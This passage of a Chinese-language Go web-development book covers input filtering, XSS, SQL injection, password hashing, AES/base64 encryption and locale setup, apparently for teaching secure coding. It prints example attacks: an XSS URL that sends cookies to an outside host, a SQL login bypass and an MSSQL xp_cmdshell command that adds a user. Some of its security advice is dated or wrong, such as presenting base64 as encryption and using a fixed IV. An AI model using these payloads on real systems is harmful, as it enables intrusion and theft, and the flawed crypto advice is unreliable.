過濾資料有很多種方法,其中有一些安全性較差。最好的方法是把過濾看成是一個檢查的過程,在你使用資料之前都檢查一下看它們是否是符合合法資料的要求。而且不要試圖好心地去糾正非法資料,而要讓使用者按你制定的規則去輸入資料。歷史證明了試圖糾正非法資料往往會導致安全漏洞。這裡舉個例子:“最近建設銀行系統升級之後,如果密碼後面兩位是 0,只要輸入前面四位就能登入系統”,這是一個非常嚴重的漏洞。 19 | 20 | 過濾資料主要採用如下一些函式庫來操作: 21 | 22 | - strconv 套件下面的字串轉化相關函式,因為從 Request 中的`r.Form`回傳的是字串,而有些時候我們需要將之轉化成整/浮點數,`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt`等函式就可以派上用場了。 23 | - string 套件下面的一些過濾函式`Trim`、`ToLower`、`ToTitle`等函式,能夠幫助我們按照指定的格式取得資訊。 24 | - regexp 套件用來處理一些複雜的需求,例如判定輸入是否是 Email、生日之類別。 25 | 26 | 過濾資料除了檢查驗證之外,在特殊時候,還可以採用白名單。即假定你正在檢查的資料都是非法的,除非能證明它是合法的。使用這個方法,如果出現錯誤,只會導致把合法的資料當成是非法的,而不會是相反,儘管我們不想犯任何錯誤,但這樣總比把非法資料當成合法資料要安全得多。 27 | 28 | ## 區分過濾資料 29 | 如果完成了上面的兩步,資料過濾的工作就基本完成了,但是在編寫 Web 應用的時候我們還需要區分已過濾和被汙染資料,因為這樣可以保證過濾資料的完整性,而不影響輸入的資料。我們約定把所有經過過濾的資料放入一個叫全域性的 Map 變數中(CleanMap)。這時需要用兩個重要的步驟來防止被汙染資料的注入: 30 | - 每個請求都要初始化 CleanMap 為一個空 Map。 31 | - 加入檢查及阻止來自外部資料來源的變數命名為 CleanMap。 32 | 33 | 接下來,讓我們透過一個例子來鞏固這些概念,請看下面這個表單 34 | ```html 35 | 36 |
37 | 我是誰: 38 | 43 | 44 |
45 | ``` 46 | 47 | 在處理這個表單的程式設計邏輯中,非常容易犯的錯誤是認為只能提交三個選擇中的一個。其實攻擊者可以模擬 POST 操作,提交 `name=attack` 這樣的資料,所以在此時我們需要做類似白名單的處理 48 | 49 | ```Go 50 | r.ParseForm() 51 | name := r.Form.Get("name") 52 | CleanMap := make(map[string]interface{}, 0) 53 | if name == "astaxie" || name == "herry" || name == "marry" { 54 | CleanMap["name"] = name 55 | } 56 | ``` 57 | 58 | 上面程式碼中我們初始化了一個 CleanMap 的變數,當判斷取得的 name 是`astaxie`、`herry`、`marry`三個中的一個之後 59 | ,我們把資料儲存到了 CleanMap 之中,這樣就可以確保 CleanMap["name"]中的資料是合法的,從而在程式碼的其它部分使用它。當然我們還可以在 else 部分增加非法資料的處理,一種可能是再次顯示錶單並提示錯誤。但是不要試圖為了友好而輸出被汙染的資料。 60 | 61 | 上面的方法對於過濾一組已知的合法值的資料很有效,但是對於過濾有一組已知合法字元組成的資料時就沒有什麼幫助。例如,你可能需要一個使用者名稱只能由字母及數字組成: 62 | 63 | ```Go 64 | r.ParseForm() 65 | username := r.Form.Get("username") 66 | CleanMap := make(map[string]interface{}, 0) 67 | if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok { 68 | CleanMap["username"] = username 69 | } 70 | ``` 71 | 72 | ## 總結 73 | 資料過濾在 Web 安全中起到一個基石的作用,大多數的安全問題都是由於沒有過濾資料和驗證資料引起的,例如前面小節的 CSRF 攻擊,以及接下來將要介紹的 XSS 攻擊、SQL 注入等都是沒有認真地過濾資料引起的,因此我們需要特別重視這部分的內容。 74 | 75 | ## links 76 | * [目錄](preface.md) 77 | * 上一節: [預防 CSRF 攻擊](09.1.md) 78 | * 下一節: [避免 XSS 攻擊](09.3.md) 79 | -------------------------------------------------------------------------------- /09.3.md: -------------------------------------------------------------------------------- 1 | # 9.3 避免 XSS 攻擊 2 | 隨著網際網路技術的發展,現在的 Web 應用都含有大量的動態內容以提高使用者體驗。所謂動態內容,就是應用程式能夠根據使用者環境和使用者請求,輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態站點則完全不受其影響。 3 | 4 | ## 什麼是 XSS 5 | 6 | XSS 攻擊:跨站指令碼攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為 XSS。XSS 是一種常見的 web 安全漏洞,它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者),XSS 涉及到三方,即攻擊者、客戶端與 Web 應用。XSS 的攻擊目標是為了盜取儲存在客戶端的 cookie 或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後,攻擊者甚至可以假冒合法使用者與網站進行互動。 7 | 8 | XSS 通常可以分為兩大類別:一類別是儲存型 XSS,主要出現在讓使用者輸入資料,供其他瀏覽此頁的使用者進行檢視的地方,包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料,在頁面中顯示出來,攻擊者在相關頁面輸入惡意的指令碼資料後,使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述為 : 惡意使用者的 Html 輸入 Web 程式->進入資料庫->Web 程式->使用者瀏覽器。另一類別是反射型 XSS,主要做法是將指令碼程式碼加入 URL 地址的請求參數裡,請求參數進入程式後在頁面直接輸出,使用者點選類似的惡意連結就可能受到攻擊。 9 | 10 | XSS 目前主要的手段和目的如下: 11 | 12 | - 盜用 cookie,取得敏感資訊。 13 | - 利用植入 Flash,透過 crossdomain 許可權設定進一步取得更高許可權;或者利用 Java 等得到類似的操作。 14 | - 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式,以(被攻擊者)使用者的身份執行一些管理動作,或執行一些如 : 發微博、加好友、發私信等常規操作,前段時間新浪微博就遭遇過一次 XSS。 15 | - 利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。 16 | - 在存取量極大的一些頁面上的 XSS 可以攻擊一些小型網站,實現 DDoS 攻擊的效果 17 | 18 | ## XSS 的原理 19 | Web 應用未對使用者提交請求的資料做充分的檢查過濾,允許使用者在提交的資料中摻入 HTML 程式碼(最主要的是“>”、“<”),並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行,是導致 XSS 漏洞的產生原因。 20 | 21 | 接下來以反射性 XSS 舉例說明 XSS 的過程:現在有一個網站,根據參數輸出使用者的名稱,例如存取 url:`http://127.0.0.1/?name=astaxie`,就會在瀏覽器輸出如下資訊: 22 | 23 | hello astaxie 24 | 25 | 如果我們傳遞這樣的 url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,這時你就會發現瀏覽器跳出一個彈出框,這說明站點已經存在了 XSS 漏洞。那麼惡意使用者是如何盜取 Cookie 的呢?與上類似,如下這樣的 url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,這樣就可以把當前的 cookie 傳送到指定的站點:`www.xxx.com`。你也許會說,這樣的 URL 一看就有問題,怎麼會有人點選?,是的,這類別的 URL 會讓人懷疑,但如果使用短網址服務將之縮短,你還看得出來麼?攻擊者將縮短過後的 url 透過某些途徑傳播開來,不明真相的使用者一旦點選了這樣的 url,相應 cookie 資料就會被髮送事先設定好的站點,這樣子就盜得了使用者的 cookie 資訊,然後就可以利用 Websleuth 之類別的工具來檢查是否能盜取那個使用者的賬戶。 26 | 27 | 更加詳細的關於 XSS 的分析大家可以參考這篇叫做《[新浪微博 XSS 事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 28 | 29 | ## 如何預防 XSS 30 | 31 | 答案很簡單,堅決不要相信使用者的任何輸入,並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的 XSS 攻擊。 32 | 33 | 目前防禦 XSS 主要有如下幾種方式: 34 | 35 | - 過濾特殊字元 36 | 37 | 避免 XSS 的方法之一主要是將使用者所提供的內容進行過濾,Go 語言提供了 HTML 的過濾函式: 38 | 39 | text/template 套件下面的 HTMLEscapeString、JSEscapeString 等函式 40 | 41 | - 使用 HTTP 頭指定型別 42 | 43 | ```Go 44 | 45 | `w.Header().Set("Content-Type","text/javascript")` 46 | 47 | 這樣就可以讓瀏覽器解析 javascript 程式碼,而不會是 html 輸出。 48 | ``` 49 | 50 | ## 總結 51 | XSS 漏洞是相當有危害的,在開發 Web 應用的時候,一定要記住過濾資料,特別是在輸出到客戶端之前,這是現在行之有效的防止 XSS 的手段。 52 | 53 | ## links 54 | * [目錄](preface.md) 55 | * 上一節: [確保輸入過濾](09.2.md) 56 | * 下一節: [避免 SQL 注入](09.4.md) 57 | -------------------------------------------------------------------------------- /09.4.md: -------------------------------------------------------------------------------- 1 | # 9.4 避免 SQL 注入 2 | ## 什麼是 SQL 注入 3 | SQL 注入攻擊(SQL Injection),簡稱注入攻擊,是 Web 開發中最常見的一種安全漏洞。可以用它來從資料庫取得敏感資訊,或者利用資料庫的特性執行新增使用者,匯出檔案等一系列惡意操作,甚至有可能取得資料庫乃至系統使用者最高許可權。 4 | 5 | 而造成 SQL 注入的原因是因為程式沒有有效過濾使用者的輸入,使攻擊者成功的向伺服器提交惡意的 SQL 查詢程式碼,程式在接收後錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意程式碼。 6 | ## SQL 注入範例 7 | 很多 Web 開發者沒有意識到 SQL 查詢是可以被篡改的,從而把 SQL 查詢當作可信任的命令。殊不知,SQL 查詢是可以繞開存取控制,從而繞過身份驗證和許可權檢查的。更有甚者,有可能透過 SQL 查詢去執行主機系統級的命令。 8 | 9 | 下面將透過一些真實的例子來詳細講解 SQL 注入的方式。 10 | 11 | 考慮以下簡單的登入表單: 12 | ```html 13 | 14 |
15 |

Username:

16 |

Password:

17 |

18 |
19 | ``` 20 | 21 | 我們的處理裡面的 SQL 可能是這樣的: 22 | 23 | ```Go 24 | 25 | username:=r.Form.Get("username") 26 | password:=r.Form.Get("password") 27 | sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" 28 | ``` 29 | 30 | 如果使用者的輸入的使用者名稱如下,密碼任意 31 | 32 | ```Go 33 | 34 | myuser' or 'foo' = 'foo' -- 35 | ``` 36 | 37 | 那麼我們的 SQL 變成了如下所示: 38 | 39 | ```Go 40 | 41 | SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' 42 | ``` 43 | 在 SQL 裡面`--`是註釋標記,所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法使用者名稱和密碼的情況下成功登入了。 44 | 45 | 對於 MSSQL 還有更加危險的一種 SQL 注入,就是控制系統,下面這個可怕的例子將示範如何在某些版本的 MSSQL 資料庫上執行系統命令。 46 | 47 | ```Go 48 | 49 | sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" 50 | Db.Exec(sql) 51 | ``` 52 | 如果攻擊提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作為變數 prod 的值,那麼 sql 將會變成 53 | 54 | ```Go 55 | 56 | sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" 57 | ``` 58 | MSSQL 伺服器會執行這條 SQL 語句,包括它後面那個用於向系統新增新使用者的命令。如果這個程式是以 sa 執行而 MSSQLSERVER 服務又有足夠的許可權的話,攻擊者就可以獲得一個系統帳號來存取主機了。 59 | 60 | >雖然以上的例子是針對某一特定的資料庫系統的,但是這並不代表不能對其它資料庫系統實施類似的攻擊。針對這種安全漏洞,只要使用不同方法,各種資料庫都有可能遭殃。 61 | 62 | 63 | ## 如何預防 SQL 注入 64 | 也許你會說攻擊者要知道資料庫結構的資訊才能實施 SQL 注入攻擊。確實如此,但沒人能保證攻擊者一定拿不到這些資訊,一旦他們拿到了,資料庫就存在洩露的危險。如果你在用開放原始碼的軟體套件來存取資料庫,比如論壇程式,攻擊者就很容易得到相關的程式碼。如果這些程式碼設計不良的話,風險就更大了。目前 Discuz、phpwind、phpcms 等這些流行的開源程式都有被 SQL 注入攻擊的先例。 65 | 66 | 這些攻擊總是發生在安全性不高的程式碼上。所以,永遠不要信任外界輸入的資料,特別是來自於使用者的資料,包括選擇框、表單隱藏域和 cookie。就如上面的第一個例子那樣,就算是正常的查詢也有可能造成災難。 67 | 68 | SQL 注入攻擊的危害這麼大,那麼該如何來防治呢 ? 下面這些建議或許對防治 SQL 注入有一定的幫助。 69 | 70 | 1. 嚴格限制 Web 應用的資料庫的操作許可權,給此使用者提供僅僅能夠滿足其工作的最低許可權,從而最大限度的減少注入攻擊對資料庫的危害。 71 | 2. 檢查輸入的資料是否具有所期望的資料格式,嚴格限制變數的型別,例如使用 regexp 套件進行一些匹配處理,或者使用 strconv 套件對字串轉化成其他基本型別的資料進行判斷。 72 | 3. 對進入資料庫的特殊字元('"\尖括號&*;等)進行轉義處理,或編碼轉換。Go 的`text/template`套件裡面的 `HTMLEscapeString` 函式可以對字串進行轉義處理。 73 | 4. 所有的查詢語句建議使用資料庫提供的參數化查詢介面,參數化的語句使用參數而不是將使用者輸入變數嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。例如使用`database/sql`裡面的查詢函式 `Prepare` 和`Query`,或者`Exec(query string, args ...interface{})`。 74 | 5. 在應用釋出之前建議使用專業的 SQL 注入檢測工具進行檢測,以及時修補被發現的 SQL 注入漏洞。網上有很多這方面的開源工具,例如 sqlmap、SQLninja 等。 75 | 6. 避免網站顯示出 SQL 錯誤資訊,比如型別錯誤、欄位不匹配等,把程式碼裡的 SQL 語句暴露出來,以防止攻擊者利用這些錯誤資訊進行 SQL 注入。 76 | 77 | ## 總結 78 | 透過上面的範例我們可以知道,SQL 注入是危害相當大的安全漏洞。所以對於我們平常編寫的 Web 應用,應該對於每一個小細節都要非常重視,細節決定命運,生活如此,編寫 Web 應用也是這樣。 79 | 80 | ## links 81 | * [目錄](preface.md) 82 | * 上一節: [避免 XSS 攻擊](09.3.md) 83 | * 下一節: [儲存密碼](09.5.md) 84 | -------------------------------------------------------------------------------- /09.5.md: -------------------------------------------------------------------------------- 1 | # 9.5 儲存密碼 2 | 過去一段時間以來, 許多的網站遭遇使用者密碼資料洩露事件, 這其中包括頂級的網際網路企業–Linkedin, 國內諸如 CSDN,該事件橫掃整個國內網際網路,隨後又爆出多玩遊戲 800 萬用戶資料被洩露,另有傳言人人網、開心網、天涯社群、世紀佳緣、百合網等社群都有可能成為黑客下一個目標。層出不窮的類似事件給使用者的網上生活造成巨大的影響,人人自危,因為人們往往習慣在不同網站使用相同的密碼,所以一家“暴函式庫”,全部遭殃。 3 | 4 | 那麼我們作為一個 Web 應用開發者,在選擇密碼儲存方案時, 容易掉入哪些陷阱, 以及如何避免這些陷阱? 5 | 6 | ## 普通方案 7 | 目前用的最多的密碼儲存方案是將明文密碼做單向雜湊後儲存,單向雜湊演算法有一個特徵:無法透過雜湊後的摘要(digest)還原原始資料,這也是“單向”二字的來源。常用的單向雜湊演算法包括 SHA-256, SHA-1, MD5 等。 8 | 9 | Go 語言對這三種加密演算法的實現如下所示: 10 | 11 | ```Go 12 | 13 | //import "crypto/sha256" 14 | h := sha256.New() 15 | io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") 16 | fmt.Printf("% x", h.Sum(nil)) 17 | 18 | //import "crypto/sha1" 19 | h := sha1.New() 20 | io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") 21 | fmt.Printf("% x", h.Sum(nil)) 22 | 23 | //import "crypto/md5" 24 | h := md5.New() 25 | io.WriteString(h, "需要加密的密碼") 26 | fmt.Printf("%x", h.Sum(nil)) 27 | ``` 28 | 29 | 單向雜湊有兩個特性: 30 | 31 | - 1)同一個密碼進行單向雜湊,得到的總是唯一確定的摘要。 32 | - 2)計算速度快。隨著技術進步,一秒鐘能夠完成數十億次單向雜湊計算。 33 | 34 | 結合上面兩個特點,考慮到多數人所使用的密碼為常見的組合,攻擊者可以將所有密碼的常見組合進行單向雜湊,得到一個摘要組合, 然後與資料庫中的摘要進行比對即可獲得對應的密碼。這個摘要組合也被稱為`rainbow table`。 35 | 36 | 因此透過單向加密之後儲存的資料,和明文儲存沒有多大區別。因此,一旦網站的資料庫洩露,所有使用者的密碼本身就大白於天下。 37 | ## 進階方案 38 | 透過上面介紹我們知道黑客可以用`rainbow table`來破解雜湊後的密碼,很大程度上是因為加密時使用的雜湊演算法是公開的。如果黑客不知道加密的雜湊演算法是什麼,那他也就無從下手了。 39 | 40 | 一個直接的解決辦法是,自己設計一個雜湊演算法。然而,一個好的雜湊演算法是很難設計的——既要避免碰撞,又不能有明顯的規律,做到這兩點要比想象中的要困難很多。因此實際應用中更多的是利用已有的雜湊演算法進行多次雜湊。 41 | 42 | 但是單純的多次雜湊,依然阻擋不住黑客。兩次 MD5、三次 MD5 之類別的方法,我們能想到,黑客自然也能想到。特別是對於一些開原始碼,這樣雜湊更是相當於直接把演算法告訴了黑客。 43 | 44 | 沒有攻不破的盾,但也沒有折不斷的矛。現在安全性比較好的網站,都會用一種叫做“加鹽”的方式來儲存密碼,也就是常說的 “salt”。他們通常的做法是,先將使用者輸入的密碼進行一次 MD5(或其它雜湊演算法)加密;將得到的 MD5 值前後加上一些只有管理員自己知道的隨機串,再進行一次 MD5 加密。這個隨機串中可以包括某些固定的串,也可以包括使用者名稱(用來保證每個使用者加密使用的金鑰都不一樣)。 45 | 46 | ```Go 47 | 48 | //import "crypto/md5" 49 | //假設使用者名稱 abc,密碼 123456 50 | 51 | h := md5.New() 52 | io.WriteString(h, "需要加密的密碼") 53 | 54 | //pwmd5 等於 e10adc3949ba59abbe56e057f20f883e 55 | 56 | pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) 57 | 58 | //指定兩個 salt: salt1 = @#$% salt2 = ^&*() 59 | salt1 := "@#$%" 60 | salt2 := "^&*()" 61 | 62 | //salt1+使用者名稱+salt2+MD5 拼接 63 | io.WriteString(h, salt1) 64 | io.WriteString(h, "abc") 65 | io.WriteString(h, salt2) 66 | io.WriteString(h, pwmd5) 67 | 68 | last :=fmt.Sprintf("%x", h.Sum(nil)) 69 | ``` 70 | 71 | 在兩個 salt 沒有洩露的情況下,黑客如果拿到的是最後這個加密串,就幾乎不可能推算出原始的密碼是什麼了。 72 | 73 | ## 專家方案 74 | 上面的進階方案在幾年前也許是足夠安全的方案,因為攻擊者沒有足夠的資源建立這麼多的`rainbow table`。 但是,時至今日,因為平行計算能力的提升,這種攻擊已經完全可行。 75 | 76 | 怎麼解決這個問題呢?只要時間與資源允許,沒有破譯不了的密碼,所以方案是 : 故意增加密碼計算所需耗費的資源和時間,使得任何人都不可獲得足夠的資源建立所需的`rainbow table`。 77 | 78 | 這類別方案有一個特點,演算法中都有個因子,用於指明計算密碼摘要所需要的資源和時間,也就是計算強度。計算強度越大,攻擊者建立`rainbow table`越困難,以至於不可繼續。 79 | 80 | 這裡推薦 `scrypt` 方案,scrypt 是由著名的 FreeBSD 黑客 Colin Percival 為他的備份服務 Tarsnap 開發的。 81 | 82 | 目前 Go 語言裡面支援的函式庫 https://github.com/golang/crypto/tree/master/scrypt 83 | 84 | ```Go 85 | 86 | dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) 87 | ``` 88 | 透過上面的方法可以取得唯一的相應的密碼值,這是目前為止最難破解的。 89 | 90 | ## 總結 91 | 看到這裡,如果你產生了危機感,那麼就行動起來: 92 | 93 | - 1)如果你是普通使用者,那麼我們建議使用 LastPass 進行密碼儲存和產生,對不同的網站使用不同的密碼; 94 | - 2)如果你是開發人員, 那麼我們強烈建議你採用專家方案進行密碼儲存。 95 | 96 | ## links 97 | * [目錄](preface.md) 98 | * 上一節: [確保輸入過濾](09.4.md) 99 | * 下一節: [加密和解密資料](09.6.md) 100 | -------------------------------------------------------------------------------- /09.6.md: -------------------------------------------------------------------------------- 1 | # 9.6 加密和解密資料 2 | 前面小節介紹了如何儲存密碼,但是有的時候,我們想把一些敏感資料加密後儲存起來,在將來的某個時候,隨需將它們解密出來,此時我們應該在選用對稱加密演算法來滿足我們的需求。 3 | 4 | ## base64 加解密 5 | 如果 Web 應用足夠簡單,資料的安全性沒有那麼嚴格的要求,那麼可以採用一種比較簡單的加解密方法是`base64`,這種方式實現起來比較簡單,Go 語言的 `base64` 套件已經很好的支援了這個,請看下面的例子: 6 | 7 | ```Go 8 | 9 | package main 10 | 11 | import ( 12 | "encoding/base64" 13 | "fmt" 14 | ) 15 | 16 | func base64Encode(src []byte) []byte { 17 | return []byte(base64.StdEncoding.EncodeToString(src)) 18 | } 19 | 20 | func base64Decode(src []byte) ([]byte, error) { 21 | return base64.StdEncoding.DecodeString(string(src)) 22 | } 23 | 24 | func main() { 25 | // encode 26 | hello := "你好,世界! hello world" 27 | debyte := base64Encode([]byte(hello)) 28 | fmt.Println(debyte) 29 | // decode 30 | enbyte, err := base64Decode(debyte) 31 | if err != nil { 32 | fmt.Println(err.Error()) 33 | } 34 | 35 | if hello != string(enbyte) { 36 | fmt.Println("hello is not equal to enbyte") 37 | } 38 | 39 | fmt.Println(string(enbyte)) 40 | } 41 | ``` 42 | 43 | ## 高階加解密 44 | 45 | Go 語言的 `crypto` 裡面支援對稱加密的高階加解密套件有: 46 | 47 | - `crypto/aes`套件:AES(Advanced Encryption Standard),又稱 Rijndael 加密法,是美國聯邦政府採用的一種區塊加密標準。 48 | - `crypto/des`套件:DES(Data Encryption Standard),是一種對稱加密標準,是目前使用最廣泛的金鑰系統,特別是在保護金融資料的安全中。曾是美國聯邦政府的加密標準,但現已被 AES 所替代。 49 | 50 | 因為這兩種演算法使用方法類似,所以在此,我們僅用 aes 套件為例來講解它們的使用,請看下面的例子 51 | 52 | ```Go 53 | 54 | package main 55 | 56 | import ( 57 | "crypto/aes" 58 | "crypto/cipher" 59 | "fmt" 60 | "os" 61 | ) 62 | 63 | var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} 64 | 65 | func main() { 66 | //需要去加密的字串 67 | plaintext := []byte("My name is Astaxie") 68 | //如果傳入加密串的話,plaint 就是傳入的字串 69 | if len(os.Args) > 1 { 70 | plaintext = []byte(os.Args[1]) 71 | } 72 | 73 | //aes 的加密字串 74 | key_text := "astaxie12798akljzmknm.ahkjkljl;k" 75 | if len(os.Args) > 2 { 76 | key_text = os.Args[2] 77 | } 78 | 79 | fmt.Println(len(key_text)) 80 | 81 | // 建立加密演算法 aes 82 | 83 | c, err := aes.NewCipher([]byte(key_text)) 84 | if err != nil { 85 | fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) 86 | os.Exit(-1) 87 | } 88 | 89 | //加密字串 90 | cfb := cipher.NewCFBEncrypter(c, commonIV) 91 | ciphertext := make([]byte, len(plaintext)) 92 | cfb.XORKeyStream(ciphertext, plaintext) 93 | fmt.Printf("%s=>%x\n", plaintext, ciphertext) 94 | 95 | // 解密字串 96 | cfbdec := cipher.NewCFBDecrypter(c, commonIV) 97 | plaintextCopy := make([]byte, len(plaintext)) 98 | cfbdec.XORKeyStream(plaintextCopy, ciphertext) 99 | fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) 100 | } 101 | ``` 102 | 103 | 上面透過呼叫函式`aes.NewCipher`(參數 key 必須是 16、24 或者 32 位的[]byte,分別對應 AES-128, AES-192 或 AES-256 演算法),回傳了一個`cipher.Block`介面,這個介面實現了三個功能: 104 | 105 | ```Go 106 | 107 | type Block interface { 108 | // BlockSize returns the cipher's block size. 109 | BlockSize() int 110 | 111 | // Encrypt encrypts the first block in src into dst. 112 | // Dst and src may point at the same memory. 113 | Encrypt(dst, src []byte) 114 | 115 | // Decrypt decrypts the first block in src into dst. 116 | // Dst and src may point at the same memory. 117 | Decrypt(dst, src []byte) 118 | } 119 | ``` 120 | 這三個函式實現了加解密操作,詳細的操作請看上面的例子。 121 | 122 | ## 總結 123 | 這小節介紹了幾種加解密的演算法,在開發 Web 應用的時候可以根據需求採用不同的方式進行加解密,一般的應用可以採用 base64 演算法,更加進階的話可以採用 aes 或者 des 演算法。 124 | 125 | 126 | ## links 127 | * [目錄](preface.md) 128 | * 上一節: [儲存密碼](09.5.md) 129 | * 下一節: [小結](09.7.md) 130 | -------------------------------------------------------------------------------- /09.7.md: -------------------------------------------------------------------------------- 1 | # 9.7 小結 2 | 這一章主要介紹了如:CSRF 攻擊、XSS 攻擊、SQL 注入攻擊等一些 Web 應用中典型的攻擊手法,它們都是由於應用對使用者的輸入沒有很好的過濾引起的,所以除了介紹攻擊的方法外,我們也介紹了了如何有效的進行資料過濾,以防止這些攻擊的發生的方法。然後針對日異嚴重的密碼洩漏事件,介紹了在設計 Web 應用中可採用的從基本到專家的加密方案。最後針對敏感資料的加解密簡要介紹了,Go 語言提供三種對稱加密演算法:base64、aes 和 des 的實現。 3 | 4 | 編寫這一章的目的是希望讀者能夠在意識裡面加強安全概念,在編寫 Web 應用的時候多留心一點,以使我們編寫的 Web 應用能遠離黑客們的攻擊。Go 語言在支援防攻擊方面已經提供大量的工具套件,我們可以充分的利用這些套件來做出一個安全的 Web 應用。 5 | 6 | ## links 7 | * [目錄](preface.md) 8 | * 上一節: [加密和解密資料](09.6.md) 9 | * 下一節: [國際化和本地化](10.0.md) 10 | -------------------------------------------------------------------------------- /10.0.md: -------------------------------------------------------------------------------- 1 | # 10 國際化和本地化 2 | 為了適應經濟的全球一體化,作為開發者,我們需要開發出支援多國語言、國際化的 Web 應用,即同樣的頁面在不同的語言環境下需要顯示不同的效果,也就是說應用程式在執行時能夠根據請求所來自的地域與語言的不同而顯示不同的使用者介面。這樣,當需要在應用程式中新增對新的語言的支援時,無需修改應用程式的程式碼,只需要增加語言套件即可實現。 3 | 4 | 國際化與本地化(Internationalization and localization,通常用 i18n 和 L10N 表示),國際化是將針對某個地區設計的程式進行重構,以使它能夠在更多地區使用,本地化是指在一個針對國際化的程式中增加對新地區的支援。 5 | 6 | 目前,Go 語言的標準套件沒有提供對 i18n 的支援,但有一些比較簡單的第三方實現,這一章我們將實現一個 go-i18n 函式庫,用來支援 Go 語言的 i18n。 7 | 8 | 所謂的國際化:就是根據特定的 locale 資訊,提取與之相應的字串或其它一些東西(比如時間和貨幣的格式)等等。這涉及到三個問題: 9 | 10 | 1、如何確定 locale。 11 | 12 | 2、如何儲存與 locale 相關的字串或其它資訊。 13 | 14 | 3、如何根據 locale 提取字串和其它相應的資訊。 15 | 16 | 在第一小節裡,我們將介紹如何設定正確的 locale 以便讓存取站點的使用者能夠獲得與其語言相應的頁面。第二小節將介紹如何處理或儲存字串、貨幣、時間日期等與 locale 相關的資訊,第三小節將介紹如何實現國際化站點,即如何根據不同 locale 回傳不同合適的內容。透過這三個小節的學習,我們將獲得一個完整的 i18n 方案。 17 | 18 | ## 目錄 19 | 20 | ![](images/navi10.png) 21 | 22 | ## links 23 | * [目錄](preface.md) 24 | * 上一章: [第九章總結](09.7.md) 25 | * 下一節: [設定預設地區](10.1.md) 26 | -------------------------------------------------------------------------------- /10.1.md: -------------------------------------------------------------------------------- 1 | # 10.1 設定預設地區 2 | ## 什麼是 Locale 3 | 4 | Locale 是一組描述世界上某一特定區域文字格式和語言習慣的設定的集合。locale 名通常由三個部分組成:第一部分,是一個強制性的,表示語言的縮寫,例如"en"表示英文或"zh"表示中文。第二部分,跟在一個下劃線之後,是一個可選的國家說明符,用於區分講同一種語言的不同國家,例如"en_US"表示美國英語,而"en_UK"表示英國英語。最後一部分,跟在一個句點之後,是可選的字符集說明符,例如"zh_CN.gb2312"表示中國使用 gb2312 字符集。 5 | 6 | GO 語言預設採用"UTF-8"編碼集,所以我們實現 i18n 時不考慮第三部分,接下來我們都採用 locale 描述的前面兩部分來作為 i18n 標準的 locale 名。 7 | 8 | 9 | >在 Linux 和 Solaris 系統中可以透過 `locale -a` 命令列舉所有支援的地區名,讀者可以看到這些地區名的命名規範。對於 BSD 等系統,沒有 locale 命令,但是地區資訊儲存在/usr/share/locale 中。 10 | 11 | ## 設定 Locale 12 | 13 | 有了上面對 locale 的定義,那麼我們就需要根據使用者的資訊(存取資訊、個人資訊、存取域名等)來設定與之相關的 locale,我們可以透過如下幾種方式來設定使用者的 locale。 14 | 15 | ### 透過域名設定 Locale 16 | 17 | 設定 Locale 的辦法之一是在應用執行的時候採用域名分級的方式,例如,我們採用 www.asta.com 當做我們的英文站(預設站),而把域名 www.asta.cn 當做中文站。這樣透過在應用裡面設定域名和相應的 locale 的對應關係,就可以設定好地區。這樣處理有幾點好處: 18 | 19 | - 透過 URL 就可以很明顯的識別 20 | - 使用者可以透過域名很直觀的知道將存取那種語言的站點 21 | - 在 Go 程式中實現非常的簡單方便,透過一個 map 就可以實現 22 | - 有利於搜尋引擎抓取,能夠提高站點的 SEO 23 | 24 | 25 | 我們可以透過下面的程式碼來實現域名的對應 locale: 26 | 27 | ```Go 28 | 29 | if r.Host == "www.asta.com" { 30 | i18n.SetLocale("en") 31 | } else if r.Host == "www.asta.cn" { 32 | i18n.SetLocale("zh-CN") 33 | } else if r.Host == "www.asta.tw" { 34 | i18n.SetLocale("zh-TW") 35 | } 36 | ``` 37 | 當然除了整域名設定地區之外,我們還可以透過子域名來設定地區,例如"en.asta.com"表示英文站點,"cn.asta.com"表示中文站點。實現程式碼如下所示: 38 | 39 | ```Go 40 | 41 | prefix := strings.Split(r.Host,".") 42 | 43 | if prefix[0] == "en" { 44 | i18n.SetLocale("en") 45 | } else if prefix[0] == "cn" { 46 | i18n.SetLocale("zh-CN") 47 | } else if prefix[0] == "tw" { 48 | 